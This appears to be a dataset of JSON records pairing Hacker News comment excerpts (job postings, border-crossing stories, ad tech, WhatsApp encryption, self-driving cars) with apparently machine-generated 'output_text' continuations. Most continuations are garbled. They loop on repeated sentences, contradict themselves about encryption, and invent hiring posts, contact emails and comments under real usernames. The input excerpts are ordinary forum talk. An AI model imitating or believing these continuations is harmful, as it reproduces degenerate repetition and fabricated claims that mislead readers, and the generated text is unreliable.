make a difference at all in terms of accumulated\nknowledge. But developer B has been doing \"something else\" during a whole year\n(3 gaps of 4months each). Maybe he travelled the world and learned a little\nbit of a couple of languages, and I'd say that's a valuable non-technical\nskill to have.\n\nAs I've said, I see more good than harm in taking a few month off from time to\ntime"} +{"output_text": " of mine was pulled over in\nAustralia and asked for his passport. He was a US citizen and had a valid\nvisa. He was asked to show his passport. He said he didn't have it. He was\nasked to get out of the car. He said he didn't have to. He was asked to get\nout of the car. He said he didn't have to. He was asked to get out of the car.\nHe said he didn't have to", "input_text": "'t search\nyour car without a warrant, whether you're a US citizen or just a tourist.\n\n~~~\ndkokelley\nThis is true, but I would argue that it's only true because of the assumption\nthat random driver being pulled over is a citizen (or rather that you can't\nask a citizen if he or she is a citizen. This was part of the big deal with\nArizona's new laws a year or two ago).\n\nWhen writing my post, I was considering the \"unlimited detainment\", and lack\nof due process for non-citizens in too many special cases.\n\n------\ntlear\nWas coming back from NYC (vacation over Christmas) and got the typical BS\nbully treatment by the security guy, I made a decision there, I will not go on\nvacation to US ever again.\n\n------\ntinbad\nAs a non-US citizen, I've had similar experiences where I was taken apart and\nasked some more questions by border patrol. However none of those experiences,\nalthough very similar to yours, came over as unnecessary harassment. I don't\nquiet understand why you would be 'terrified' crossing the border if you have\nall your shit together, which it seems you have.\n\nThe people \"whose educational attainments have qualified them to sit behind a\ndesk stamping passports\" were simply doing their job and from what you\ndescribed they did it without causing more inconvenience for you than\nnecessary.\n\nLike some others commented, if you don't like to abide by the rules of your\nnew country of residence, nobody is forcing you to be there. Oh, and\ndownplaying other people's intellectual abilities does come across quiet\nsnobbish :)\n\n------\ntrimbo\nThis story is true the world over. A friend"} +{"output_text": " more maintainable, more testable, and more robust.\n\n~~~\njoshuamorton\nI think you're missing the point.\n\nThe AI module is not a dependency of the player module. The AI module is a\nmodule that is responsible for making decisions. The player module is a\nmodule that is responsible for displaying the game state.\n\nThe AI module is not a dependency of the player module. The AI module is a\nmodule that is responsible for making", "input_text": " phone numbers change)? Also I believe Skype does allow changing usernames.\n\n~~~\nzaphirplane\nHotmail Gmail Seriously why can\u2019t people change their email and keep the\nmailbox. It\u2019s not uncommon to pick a cute or funny email when you are a teen\nand want To change when you\u2019ve all grown up\n\n~~~\nim3w1l\nWith an imap client you should be able to download emails from the old\naccounts and upload them on the new one.\n\n------\ncrimsonalucard\nThis bug is a design smell.\n\nThey have a \"Player\" module that can likely be controlled by a human or by an\n\"AI\" module. This is good design.\n\nThe problem here is likely that IO is tightly integrated with Player and every\nother module as a dependency. This is what can cause the bug to occur.\n\nProper design is for the \"Player\" module to never depend on IO as a\ndependency...\n\n1\\. the player module should be able to output the next gamestate of a game\ngiven the action and previous gamestate.\n\n2\\. The AI should calculate the action when given a gamestate.\n\n3\\. IO should be a function that when given gamestate, it displays it on the\nscreen, or saves it to the DB.\n\n4\\. All modules should be unaware of the other modules.\n\nNo dependencies.\n\nLikely the fix that the poster is doing doesn't involve separating the\n\"Player\" module from all knowledge of IO, but the fix he is doing is making AI\na special case in the \"Player\" module. This speaks to all kinds of wrong.\n\nFollowing these design patterns over a long period of time leads to code that\nis"} +{"output_text": " technical leadership.\n\nWe are looking for a full-stack developer with experience in Ruby on Rails,\nJavaScript, and HTML/CSS.\n\nIf you are interested, please email us at jobs@avant.com.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n", "input_text": "! At Trafficly we are building the future of\ntraffic-analytics software.. Currently building in Rails 5 and ES6, but plan\non bringing in Phoenix/Elixir soon enough(microservice-oriented). Come build\nthe next great thing where creativity is rewarded and realized daily! Feel\nfree to reach out to me(Mark) with any questions at: developer@traffic.ly\nThanks for your time!\n\n*indicates_optionally_preferred\n\n------\nthebrain\nToronto, Ontario, Canada | Achievers\n[http://www.achievers.com](http://www.achievers.com) | ONSITE | Developers\n\nMy company has built a kick-ass employee recognition platform and we're\nlooking for developers of all shapes and sizes. Please don't apply if you're a\njerk though, we don't hire assholes.\n\nHe are some of our current requisitions:\n\nAccounting Support\n\nLead Developer, Automation Test\n\nSenior Software Developer\n\nSenior Technical Consultant\n\nSoftware Development Lead\n\nSr. Android Mobile Developer\n\nFull details at\n[http://app.jobvite.com/m?3DeWniwX](http://app.jobvite.com/m?3DeWniwX)\n\n------\nvoidness\nAvant | Full Stack Developer | Chicago | Full-time, ONSITE |\n[https://www.avant.com/jobs](https://www.avant.com/jobs)\n\nAt Avant, we are revolutionizing the world of lending by lowering the costs\nand barriers of borrowing for everyday people. We are growing our tech team\nand are seeking pragmatic programmers who will not only help execute, but also\nprovide"} +{"output_text": " was just a trailer. He had a big trailer, but it was just a\ntrailer. He had a big trailer, but it was just a trailer. He had a big trailer,\nbut it was just a trailer. He had a big trailer, but it was just a trailer. He\nhad a big trailer, but it was just a trailer. He had a big trailer, but it was\njust a trailer. He had a big trailer, but it was just a trailer", "input_text": " emoji-scale 1-5, how exactly do you define that scale? Do you give\nfeedback on a per-person basis or company wide? Say I have a team of 3\nengineers, all with \"Senior\" title however I expect one to naturally\noutperform the other two.\n\nThis quarter s/he's slacked a bit, maybe s/he's not as driven or it's\nsomething personal - but s/he's still performing just as well as the other two\nengineers who've both performed exceptionally well and I'm giving them both a\n5.\n\nDo I give the engineer I expected to do better a 5? Or a 4? I mean I expected\nthem to do better but I'm still really happy with their work.\n\n------\npatothon\nI use www.oneone.io.\n\nBoth to manage my one on ones and to gather feedback from the team.\n\n \n\n\"Living in a Trailer\u201d by James Jones \u2013 July 1952 - Mz\nhttp://holidaymag.wordpress.com/2012/01/11/living-in-a-trailer-by-james-jones-july-1952/\n\n======\nMz\nIt seems nomads have been around forever. Being a digital nomad just has\nbenefits in terms of portability.\n\nExcerpt:\n\n _One of the things about writing that lends itself to trailer living is this\nfact of being your own boss and able to work as well one place as another, and\nin addition, requiring very little equipment to carry with you. I knew one man\nin Florida who had the front half of his trailer fitted up as a machine shop\nwith lathes and drill presses and carried his business with him. He had a big\ntrailer, but it"} +{"output_text": " picture.\n\n~~~\njoezydeco\n_I predict the largest PR campaign in the history of technology. Public\nopinion generally drives regulation._\n\nI think you're right about that.\n\n------\njoezydeco\nI'm not sure I buy the \"driverless car\" argument.\n\nI'm not sure I buy the \"driverless car\" argument.\n\nI'm not sure I buy the \"driverless car\" argument.\n\n", "input_text": "' can happen.\n\n(2) It is very expensive to create bug-free software.\n\n(3) You can't iterate by failing fast on life-critical systems after it is\nreleased. Failure means killing someone.\n\n(4) Legal liabilities. It's not going to work to say something like, \"This\ncar's driver software is not warranted free from defects\".\n\n(5) Humans can manage situations utterly outside the norm; algorithms can not\nsee beyond the vision of the designer.\n\nI work in an industry which operates _below_ the levels of software assurance\nthat the medical/flight industries work at, and it is incredibly painstaking\nas it is. A fully automated car will be very expensive to build.\n\nI am not a paranoiac regarding software. I am a paranoiac regarding software\nbugs and the limits of the software designers.\n\n------\nblue1\nI suspect that this kind of \"risky\" technology will be deployed first in more\nadventurous countries, like China.\n\n------\nuuilly\nRegulation and fear are to be expected. The question is, what to do about\nthem? I predict the largest PR campaign in the history of technology. Public\nopinion generally drives regulation. So less public fear will lead to less\nregulation.\n\nWhile I have no way to prove it, I'd bet my right hand that Google's PR people\nmade this story happen. I'd bet they also made the first NYT piece blowing up\nthe Chauffeur project happen and they made it look serendipitous for\nauthenticity. I think \"The Suit is Back,\" and I think it's going to come back\nagain and again.\n\nPrediction: Driverless cars will be portrayed in a very positive way in a\nmajor motion"} +{"output_text": "_is_a_woman/)\n.\n\nIt's not a bug, it's a feature. It's a feature that is a bit of a bug, but\nit's a feature that is a feature that is a feature that is a feature that is a\nfeature that is a feature that is a feature that is a feature that is a\nfeature that is a feature that is a feature that is a feature that is a\nfeature that is a feature that is a feature that", "input_text": "market. Programmers live at the edge of this grasping power and know the\nhorror of not being able to take it all in at once, and it's so easy to get\ninto such a situation.\n\nIt is possible that there is no general intelligence anywhere. It's always an\nintelligence of a specific environment, solving specific types of problems. A\ngeneral intelligence would need a much more varied and challenging environment\nin order to reach that level of intelligence.\n\nThe more complex the environment, the higher the intelligence of its agents.\nSo there is always going to be an upper limit to intelligence, and the\nenvironment has a lot to do with it. No intelligence is truly general.\n\n~~~\ncoldtea\n> _In order for an intelligence to be called general it would be necessary to\n> be effective in all situations._\n\nSo, basically, the author made a contrived definition of their own, and hand-\nwaved about how humans don't meet it...\n\n------\njerf\nIf you'd like to innoculate yourself, and have a bit of fun in the meantime,\nconsider reading\n[https://www.reddit.com/r/SubSimulatorGPT2/](https://www.reddit.com/r/SubSimulatorGPT2/)\n.\n\nIt's not just for fun, you can get a good sense of the algorithm. One of the\nthings it is somewhat prone to is some weird looping, like this:\n[https://www.reddit.com/r/SubSimulatorGPT2/comments/d1nwdg/if...](https://www.reddit.com/r/SubSimulatorGPT2/comments/d1nwdg/if_the_president_of_the_united_states"} +{"output_text": ",\nwe have a bunch of different DEs that are all pretty much the same.\n\n~~~\nogre_codes\n> I don't see how Apple hasn't done the best job in terms of operating\n> systems.\n\nI don't either. I think it's a combination of the following:\n\n1\\. Apple has a very strong brand. It's hard to compete with that.\n\n2\\. Apple has a very strong ecosystem. It's hard to compete", "input_text": "'t know about moving to the web on #2. From what I have seen the web\nalternatives of those products, if they even exist, are tailored to the\nhobbyist, semi-professional market.\n\nThings like Siemens NX _can't_ move to the web, since we are talking about\nentire development platforms, not just applications.\n\n~~~\nlallysingh\nI was thinking about OnShape cad, Mathematica, and Matlab. Pretty major ones.\n\n------\nogre_codes\nApple hasn't done a great job of supporting MacOS over the past few years.\nCatalina in particular has been a bit rocky, but every time I look seriously\nat Windows as an alternative it falls short.\n\nIt's quite sad to me that my choice of OS has essentially boiled down to\n\"Sucks less, costs more\".\n\nIt's been a few years for me, but maybe time to start seriously looking at\nLinux on the desktop again.\n\n~~~\nravenstine\nI don't see how Apple hasn't done the best job in terms of operating systems.\nmacOS hasn't changed significantly in the last decade; it's essentially the\nsame interface, but less skeumorphism. The only bug I've experienced that's\nclose to being serious is the touchbar freezing(seriously wtf).\n\nWindows, on the other hand, has changed significantly. Sure, it runs 32-bit\nprograms, but the interface difference between 7 and 10 is ginormous.\n\nLinux, as much as I love it, is probably the worst offender. At one point we\nhad GNOME and KDE as dominant desktop environments, and then we had Unity,\nGNOME 3, Cinnamon, MATE, etc. Now after years of forcing Unity on everyone"} +{"output_text": "\nserver is encrypted.\n\n~~~\nsleepychu\nI'm not sure I understand what you mean.\n\nI'm not talking about the communication between my browser and the server, I'm\ntalking about the communication between my phone and the server.\n\n~~~\npfg\nYou're right, I should have been more clear.\n\nThe communication between your phone and the server is encrypted, but the\ncommunication between your phone and the server is not encrypted.\n", "input_text": "\n\n~~~\nkasey_junk\nThey implemented a known & vetted encryption protocol with expert consultation\nfrom the outside.\n\nIts one of the most widely distributed apps in the world & thus likely to have\nlots of people looking at it.\n\nIf you don't trust it, is there any possible encryption scheme you would\ntrust?\n\n~~~\ndarklajid\nI think the general trust issues people have are\n\n\\- metadata / contact lists in the hand of Facebook\n\n\\- a proprietary binary that _claims_ to use said encryption schemes\n\nScenarios that you could come up with:\n\nThe next version of WhatsApp sends unencrypted data again.\n\nWhatsApp encrypts for your recipient just fine, but also encrypts the same\nmessage for the great Facebook skeleton key.\n\nBasically trust is a bigger problem than you acknowledge here, I think. If you\ntrust the encryption scheme, even the specific encryption implementation, then\nyou still need to trust the (binary, closed) application. Ignoring the\nmetadata issue completely for now.\n\n~~~\nrtkwe\n>The next version of WhatsApp sends unencrypted data again. >WhatsApp encrypts\nfor your recipient just fine, but also encrypts the same message for the great\nFacebook skeleton key.\n\nBoth of these can and would show up in an analysis of the code.\n\n------\nsleepychu\nweb.whatsapp.com still works, so clearly it's possible for something outside\nmy phone to gain access to my phone generated keys. That doesn't seem\nbackdoorable to me /s.\n\n~~~\npfg\nWhatsApp Web communicates directly with your phone. You have to authorize the\nsession from within the app. Communication between your browser and the"} +{"output_text": " my opinion and I am not a fan of adtech.\n\n~~~\ndang\nI don't know what you're referring to, but I don't think it's a good idea to\ndownvote a comment just because you disagree with it.\n\n~~~\ndedalus\nI am not a fan of adtech. I am a fan of the internet. I am a fan of the\ninternet because of the adtech. I am a fan of the internet because of", "input_text": " die in ignominy. Obviously that'll never\nhappen, but we should be working towards ways to make advertising obsolete or\nunprofitable, and we should be ostracizing people like the author who try to\nor want to make things better for advertisers.\n\nThe promise of the internet was users as first-class citizens, not users as\nmindless consumers of hostile advertising.\n\n~~~\nSerLava\nHostile advertising and advertising in general aren't the same thing.\n\nI'd be the first to point out that advertising has motivated a wide array of\nterrible things, especially in the last few years. But advertising at its\nbarest sense can be and usually is a net positive force.\n\n~~~\nna85\n>Hostile advertising and advertising in general aren't the same thing.\n\nAre you sure?\n\n~~~\nSerLava\nGood point.\n\n------\nmonochromatic\nWe don't need an ad tech renaissance. We need to burn it to the fucking\nground.\n\n~~~\nHugoDaniel\n^ this.\n\n------\nmajewsky\n> The tracking tech renaissance\n\nFTFY\n\n------\nTheAdamist\nI don't know if it was due to manual ad reviewers being on holiday or what,\nbut i was getting a bunch of ad hijacking or malvertisements over the weekend\nfrom legit websites. If even legit sites can't keep up with this then no\nwonder everyone is running ad blockers just to keep safe from legit sites.\n\n------\ndedalus\nreally nice article detailing some nuances\n\n~~~\ndedalus\nreally surprised by the downvote without any reason. so much for tolerance of\nopposite views. The author is an authority in adtech (CEO of App Nexus). I\nexpressed"} +{"output_text": " here: [http://www.curiousmedia.com/jobs/web-developer-\nboise/](http://www.curiousmedia.com/jobs/web-developer-boise/)\n\n------\njoshu\nSan Francisco, CA - Full Time\n\nWe're looking for a full-stack developer to join our team. We're a small team\nof four, and we're looking for someone who can help us build out our\ninfrastructure and our", "input_text": "experiences for children and adults alike. We create everything from kids\nmovie websites to games, apps and connected toys. Our regular clients include\nDisney, Hasbro, Warner Bros., PBS Kids, Scholastic, Dreamworks and a host of\nother kid focused companies.\n[http://www.curiousmedia.com](http://www.curiousmedia.com)\n\nWe\u2019ve been around since 2004 and have a team of 35. We are extremely stable\nand have many employees who have been with the company for 6-12 years now. We\nare very mindful and focused on being a family friendly workplace, both in the\ntype of jobs we take and our expectations of employees time. We rarely work\nmore than 40 hours a week and when we do, we give PTO at a 1:1 ratio (any\nhours over 45 in a week).\n\nWe are more specifically located in Nampa, about 14 miles west of Boise. Many\nemployees commute from Boise/Meridian and its rarely more than a 25 minute\ncommute as all the traffic is going towards Boise (and the opposite on the way\nhome). This area is amazingly affordable and provides easy access to a wealth\nof outdoor activities. The closest respectable ski mountain is only about 30\nminutes from downtown Boise and there are some world class resorts within 2-3\nhours (Sun Valley, Tamarack, Brundage). If you are from one of the larger\ncities and looking for a change of pace, you should check Boise out!\n\nMore details here: [http://www.curiousmedia.com/assets/content/curious-media-\nweb...](http://www.curiousmedia.com/assets/content/curious-media-web-\ndeveloper.pdf)\n\nApply"} +{"output_text": "-\nmarketing-and-ab-testing-at-heavybit-2013.html)\n\n------\njimmygatz\nThanks for the response, I really appreciate it.\n\nI'm not sure if you can see this, but I'm using the \"Retargeting\" suggestion\nyou made. I'm not sure if I should be concerned about AB testing at this\npoint, but I'm going to give it a shot.\n\nI'm also going", "input_text": "www.perfectaudience.com/) [1]\n[https://www.optimizely.com/](https://www.optimizely.com/) [2]\n[http://phpabtest.com/](http://phpabtest.com/) \\- I haven't ever used this so\nyou may want to do some research yourself.\n\n~~~\njimmygatz\nThanks a lot for the response, I really appreciate it. PerfectAudience looks\ngreat, I've installed it and am reading about it now.\n\nAs for AB testing are there any good resources you can recommend to learn\nabout it? We have no idea where to start with regards to what to test\ninitially. I'm assuming \"conversion funnel analysis\" tools like Mixpanel\nshould also guide our decision. Can you recommend any good resources to read\nabout that also?\n\nSorry for all the questions and thanks again for your quick response.\n\n------\nsoneca\nI think you should focus on changes that will provide bigger gains. From\njoncalhoun comment I heavily endorse the retargeting sugestion, but I don't\nthink you should worry so much about AB test for now. AB test depends on some\nheavy and constant traffic and a more predictable knowledge of your audience\nbehavior. I think you are too early on it to gain a lot from AB testing.\n\nAnother sugestion is assortment and marketing. I think you already have very\ngood channels and niche, but you might exepriment a little more.\n\nPlease, read all this presentation:\n[http://www.heavybit.com/library/video/2013-07-16-michael-\ndea...](http://www.heavybit.com/library/video/2013-07-16-michael-dearing"} +{"output_text": "'m not sure if this is a good thing or a bad thing, but I'm glad that\nsummaries are getting better.\n\nI'm not a big fan of the \"summaries\" that are generated by the algorithms,\nbut I'm glad that they're getting better.\n\n------\njoshu\nI'm not sure if this is a good thing or a bad thing, but I'm glad that\nsummaries are getting better.\n\nI'm", "input_text": "ays: \"Basically, Nick developed the original code for Summly.\"\n\n>\"After the original product was built, SRI supported development of the\ntechnology and provided artificial intelligence expertise in machine learning\nand natural language processing.\"\n\nI don't know about you, but I need a pretty large grain of salt.\n is a youtube demo of his first\napp, trimit, 9 months and $300,000 in VC before summly. It seems 2 comprez ur\nmezages like this. Maybe that's the original code.\n\n~~~\neridius\nAt the 1 minute mark he says \"some other.. form.. of documentation.. which I\ndon't know what that is\". So either he misspoke, or he didn't actually even\ndevelop that original app.\n\n~~~\ndangero\nThe video isn't made by the Summly founder. It's just a random person\nreviewing the app.\n\n------\npodperson\nI used automatic summarization to try to reduce the article to a pithy tweet\nand ended up with:\n\n\"Fuck, I don't know. And what's with Bezos investing in BusinessInsider? And\nwhat is Amazon's business plan anyway? And why does Apple's stock keep\ndropping whenever it gains market share?\"\n\n~~~\nOGinparadise\n_And what's with Bezos investing in BusinessInsider?_\n\nFor peanuts they more or less buy good coverage in a widely read news site. A\ncertain VC fund also invested in them and PandoDaily. It's a great investment,\neven if Business Insider goes kaput 2 years from now.\n\n------\nbsimpson\nI"} +{"output_text": "townsquared.com/blog/job/front-end-engineer-all-levels/) \u2022\nProduct Designer: [https://townsquared.com/blog/job/product-\ndesigner/](https://townsquared.com/blog/job/product-designer/) \u2022 Product\nManager: [https://townsquared.com/blog/job/product-\nmanager/](https://townsquared.com/blog/job/product-manager/) \u2022 UX", "input_text": "ribbble.com/roy) or visit\n[https://roybarber.com](https://roybarber.com)\n\nAny questions or enquiries? email: hi@roybarber.com\n\no~~o~~o~~o~~o~~o~~o~~o~~o~~o~~o~~o~~o~~\n\n------\njerrytsai\nTownsquared | San Francisco, CA | Full-time | ONSITE |\n[https://townsquared.com/](https://townsquared.com/)\n\nTownsquared is the only online network that allows local businesses and\nindependent professionals to connect privately. Members have access to all of\nthe other businesses in their local neighborhood to ask and answer questions,\npost events, find partners, and ultimately build thriving businesses.\n\nWe are a Series B funded startup (Sierra Ventures, Intuit, August Capital,\nFloodgate, among others) in the heart of San Francisco with a diverse team of\ndriven people working at the intersection of cutting\u00ad-edge design, complex\ntechnology, and social good. We offer the ability to help build a product that\nenables economic change and affects people in a real way.\n\nWe're hiring for many roles including: \u2022 Data Engineer:\n[https://townsquared.com/blog/job/data-\nengineer/](https://townsquared.com/blog/job/data-engineer/) \u2022 Full Stack\nEngineer: [https://townsquared.com/blog/job/full-stack-engineer-\nlevels/](https://townsquared.com/blog/job/full-stack-engineer-levels/) \u2022 Front\nEnd Engineer: [https://townsquared.com/blog/job/front-end-engineer-all-\nleve...](https://"} +{"output_text": " invest in art. We are a small team of\nengineers, designers, and art lovers who are passionate about making the\ninvesting process more accessible to everyone. We are looking for a frontend\nengineer to join our team.\n\nYou will be working on the frontend of our website, which is built with\nReact/Redux, and will be responsible for the design and development of the\nfrontend.\n\nYou will be working closely with our product team", "input_text": " role as Senior Frontend Engineer will be to drive the customer\nfacing design and code across the tray.io platform.\n\nWe currently use:\n\n\\- ES6, React, Redux, Node\n\n\\- Babel, Webpack, Jest\n\n\\- Photoshop, SketchTypekit, Google Fonts, FontAwesome, Bulma\n\nUsual benefits apply: Stock, Open holiday policy, Private healthcare, 50% off\ngym membership, Fitbit, Conference budget.\n\nApply: [https://tray-io.workable.com/jobs/23131](https://tray-\nio.workable.com/jobs/23131)\n\n------\njorge_egym\neGym | Berlin and Munich | Senior Java Backend Engineer | ONSITE\n\nWe are pioneers in digitizing gyms and our vision is to make the gym work for\neverybody.\n\nYou want to work in a cloud-based environment with amazing colleagues? Then\njoin us @ eGym.\n\n _get to know various parts of our eGym ecosystem_ design backend\nfunctionality and its architecture * have a say in how to architect your\nsolutions.\n\nAs a Senior Java Backend engineer @ eGym you will work in a cross-functional\nand international team that enjoys a lot of creative freedom and\nresponsibility. Share your passion for functional programming with your\ncolleagues and solve complex problems.\n\n[https://www.egym.com/jobs/department/it](https://www.egym.com/jobs/department/it)\n\n------\nartivest\nArtivest | New York, NY (onsite in Flatiron) | artivest.co We are building a\nbetter and more accessible way to"} +{"output_text": " get\ndouble digits.\n\n~~~\ntaneq\nI'm not sure I follow. If you join BEFORE seed money, you're not a founder,\nright?\n\n~~~\nbrianwawok\nIf you join BEFORE seed money, you are a founder.\n\n~~~\ntaneq\nI'm not sure I follow. If you join BEFORE seed money, you're not a founder,\nright?\n\n~~~\nbrianwaw", "input_text": " time to be starting a company. All aboard!\n\nWow that's the worst example of sample bias I've ever seen. It betrays the\nfund's motives behind this post, I suppose.\n\n------\njdavis703\nI think this is a very interesting question to ask when interviewing at a\nstartup: \"If you're not successful, why do you think that will be?\" And also\n\"what leads the culture\" (engineering, sales, design etc).\n\n------\ncontingencies\nSector spread (Q51) is very biased; perhaps the method of sourcing respondents\nwas insufficiently broad or random.\n\n------\nmisiti3780\n1 out of 5 founders thinks they are raising a unicorn?\n\n~~~\nalmostarockstar\n1 out of 5 founders want you to think that they think they are raising a\nunicorn.\n\n------\ndmark3\nSo 10% of startups give out more than 1% of equity to a mid-level engineer?\n\nPerhaps this is a small sample, but it sounds odd.\n\n~~~\nbrianwawok\nWhat should first and second hire get? 1 or 2% doesn't seem crazy after a seed\nround.\n\n~~~\ntaneq\nAnyone who puts in sweat equity should get double digits IMO (unless the\ncompany has been around for years as a one man band, and maybe even then.)\n\n~~~\nptero\nDouble digit ownership usually means the person is a cofounder. This question\nwas about engineers.\n\n~~~\ntaneq\n...who by definition aren't cofounders? Maybe I'm on the wrong site. O.o\n\n~~~\nbrianwawok\nIf you join BEFORE seed money, and do a bunch of work for free, you can"} +{"output_text": "). This is a service which is sold to furniture manufacturers, who\nthen sell the finished product to the public.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that the government is trying to protect children\nfrom things they shouldn't be exposed to.\n\nBut I also think it's a good thing that the government is trying to protect\nchildren from things they shouldn't be exposed to.", "input_text": " as yet very ill defined. But this isn't the hill I'd choose to die on.\n\n------\ninterfixus\n> _In the DOJ\u2019s world, this means anyone under 18 who reads a Hearst newspaper\n> online could hypothetically face jail time_\n\nJail time? What is it with this American propensity for locking up more or\nless everybody? As seen from the other site of the pond, it does at times sort\nof beggar belief.\n\n~~~\ncr0sh\nMany prisons in the US are privately operated (Corrections Corporation of\nAmerica is one of the large companies that run private prisons).\n\nThese companies then sell certain services to the public - such as\ntelemarketing (seriously). In other words, that person you're talking to in a\ntelemarketing context may very well be a prisoner in a CCA owned facility!\n\nNow - prisoners aren't forced (?) to participate in these activities, but they\nare highly encouraged; it gives them a bit of money for the commissary (very\nsmall bit) and other things, plus gives them \"job skills\" for the outside, and\nprobably also a mark on their records for later parole review purposes (\"hey,\nshe participated in this, and became a model \"employee\" as a telemarketer -\nlet's factor that into her record for an early release\").\n\nSo - there is a strong incentive to participate in these programs. They aren't\nlimited to telemarketing either: If you can think of something which can be\ndone by low-skilled workers who are a \"captive audience\" so to speak, it is\nprobably sold as a service by these private prison companies to other\nbusinesses.\n\nFor instance, another big one is \"product assembly\" (putting furniture\ntogether"} +{"output_text": " so it's not really\na cross browser solution.\n\n------\njoshu\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI'm looking for a way to get a video stream from a webcam. I'm not sure if\nthis is the right place to ask this, but I'm curious:\n\nI'm looking for a way to get a video stream from a webcam. I'm not sure if\n", "input_text": " is shared on the internet.\n\n~~~\nukc\nLooking forward to seeing more projects like these - is the heroku app open\nsource?\n\n------\nbencevans\nI wrote a li'l app that does something along the same lines. However it\ncaptures a data uri from the webcam video and sends it via a websocket to a\nsecond user who's also doing the same. It gives you a video chat just without\nthe audio... \n\nJust thought it may be of interest ;)\n\n------\nfranze\nhi, this is as good a moment as any to promote a little bit a lib i coded some\ntime ago.\n\na simple (cross browser) wrapper to make getUserMedia really simple, you call\n\n \n \n Sinne.getUserVideo(success, error[, options])\n //https://github.com/franzenzenhofer/Sinne\n \n\nand get back a nice HTML5 video element with the webcam as the input\n\nhere is a simple demo using the `Sinne` \\- an\nHTML5 mirror\n\n~~~\nse85\nYou can't really call it cross browser when it doesn't support browsers that\ndon't have getUserMedia.\n\nYou had me excited for a second there because something like this with a flash\nfallback mechanism would be really, really useful.\n\n~~~\nfranze\naddy osmani has coded which\nhas a flash fallback, but the thing is that the flash fallback still needs you\nto implement a complete different logic then getUserMedia,"} +{"output_text": "\nchannels and you'll see a lot of people who sound like they're from the\nopposite political party.\n\n~~~\njamesbritt\n\"The most interesting thing I've noticed about American accents is that you\ncan often tell someone's political persuasion, at least on the radio, if not\nfrom their accent then from their manner of speaking.\"\n\nI've noticed this too. I've also noticed that people who are from the same\npolitical party tend to", "input_text": "-level. The system doesn't\nencourage it. You do your 3-5 A-levels, and people tend to focus on the Arts\nor the Sciences, with little to no overlap.\n\nAlso, I was never offered sherry at a tutorial, but I did have friends\nstudying English who were offered wine~\n\nOn a related note, this is a good summary of the differences between English\nvs American values/elite educations:\n[http://www.yaledailynews.com/news/2010/apr/23/whats-\nbetter-o...](http://www.yaledailynews.com/news/2010/apr/23/whats-better-\noxfords-depth-or-yales-breadth/)\n\n------\nhugh3\nThere's a lot to be written on the subject of the British (or just the\nEnglish, the other parts of Britain being a whole different ballgame) and\nspeech. Certainly I don't know of anywhere else where a person's manner of\nspeech tells you nearly as much about their geographical and socioeconomic\norigin. (But of course, I only speak one language so my attention is pretty\nrestricted).\n\nIn Australia they say there are three accents: broad, general and cultivated,\nand which one you have is mostly about your socioeconomic level. In my\nexperience, though, it's more of a spectrum, and the \"broad\" accent goes in\nseveral different directions depending on where you are -- I can usually pick\nout a Queenslander, for instance.\n\nThe most interesting thing I've noticed about American accents is that you can\noften tell someone's _political_ persuasion, at least on the radio, if not\nfrom their accent then from their manner of speaking. Flip through the radio"} +{"output_text": "?\n\n[1] [http://www.datacenterknowledge.com/archives/2013/04/01/how-\nto...](http://www.datacenterknowledge.com/archives/2013/04/01/how-to-store-\nphotos-on-a-server-for-free/)\n\n~~~\nmikegioia\nI'm not sure if I'm understanding this correctly, but if you're storing 40 PB", "input_text": " whats app's architecture\n\n\"Our results have demonstrated the fantastic scalability of Erlang, and in\nthis talk we will share some of the discoveries and modifications we have made\nalong the path to supporting millions of connected users per server. \"\n\n[https://vimeo.com/44312354](https://vimeo.com/44312354)\n\nSome of the speculations about why facebook bought them is their architecture\nbuild on top of Erlang\n\n~~~\nsimonw\nFacebook Chat was originally written in Erlang:\n[https://www.facebook.com/notes/facebook-engineering/chat-\nsta...](https://www.facebook.com/notes/facebook-engineering/chat-stability-\nand-scalability/51412338919) \\- but they ended up switching it from Erlang to\nC++: [https://www.quora.com/When-did-Facebook-switch-away-from-\nusi...](https://www.quora.com/When-did-Facebook-switch-away-from-using-Erlang-\nfor-Facebook-Chat)\n\n------\nadamnemecek\nGood thing that those graphs have the y-axis labeled.\n\n------\nckluis\n40 PB a day for photos...\n\n~~~\nmikegioia\nThis is the part that I have trouble wrapping my head around. If you're\n_adding_ 40 PB of photos per day, and if you can somehow get say $0.01/GB [1]\nthen that's adding $400,000 per day in storage costs.\n\nFacebook doesn't/can't/won't delete photos so how on earth is this\nsustainable? After 10-20 years wouldn't hosting costs just be too high to\nfunction"} +{"output_text": " [http://grnh.se/y3vipr1](http://grnh.se/y3vipr1)\n\n-Lead Data Engineer: [http://grnh.se/y3vipr2](http://grnh.se/y3vipr2)\n\n-Lead Product Designer: [http://grnh.se/y3vipr3](http://grnh.se/y3vipr", "input_text": " \n \n ***************\n = Looking for =\n ***************\n \n\n\\- Fullstack engineer\n\nIf you'd like to learn more, please shoot us an email at hello@armada.ai (feel\nfree to mention Marc)\n\n~~~\nitamarst\nYou realize in the movies Skynet tried to destroy humanity?\n\n------\nmattmhickman\nHandshake | Software Engineer | 2601 Mission St, San Francisco, CA |\n[https://www.joinhandshake.com](https://www.joinhandshake.com)\n\nOur mission is to democratize opportunity - to make it easy for any student to\nbuild a great career, no matter where they go to school, what they're majoring\nin, or who they know.\n\nBacked by $34m from Spark Capital, Kleiner Perkins, True Ventures and\nLightspeed Partners, Handshake has partnered with 170 universities (schools of\nall sizes and locations, including Stanford, Princeton, UVA, Michigan, Texas,\nSpelman and Harvey Mudd), and has more than 3 million student profiles and\n100,000 companies recruiting on our platform, including 95% of the Fortune\n500. Our extensive data on students' interests and historical career outcomes\ngives Handshake the unique ability to help students imagine, plan and\njumpstart their future careers.\n\nCome join our passionate, diverse team at our beautiful offices in the heart\nof the Mission in San Francisco!\n\nHiring for:\n\n-Full stack developers (we're a RoR shop but open to all types of software engineering backgrounds): [http://grnh.se/y3vipr](http://grnh.se/y3vipr)\n\n-Lead Mobile Engineer:"} +{"output_text": " a good time to start looking.\n\n------\njoshu\nI'm not sure I agree with the premise.\n\nIf you're not getting paid market rate, you're not getting paid market rate.\n\nIf you're not getting paid market rate, you're not getting paid market rate.\n\nIf you're not getting paid market rate, you're not getting paid market rate.\n\n~~~\njoshu\nI'm not sure I agree with the premise.", "input_text": " you owe the bank $100, you've got a problem. If you owe\nthe bank $100M, the bank has a problem.\"\n\nHere's a tweaked version. If you can't get a raise, you have a 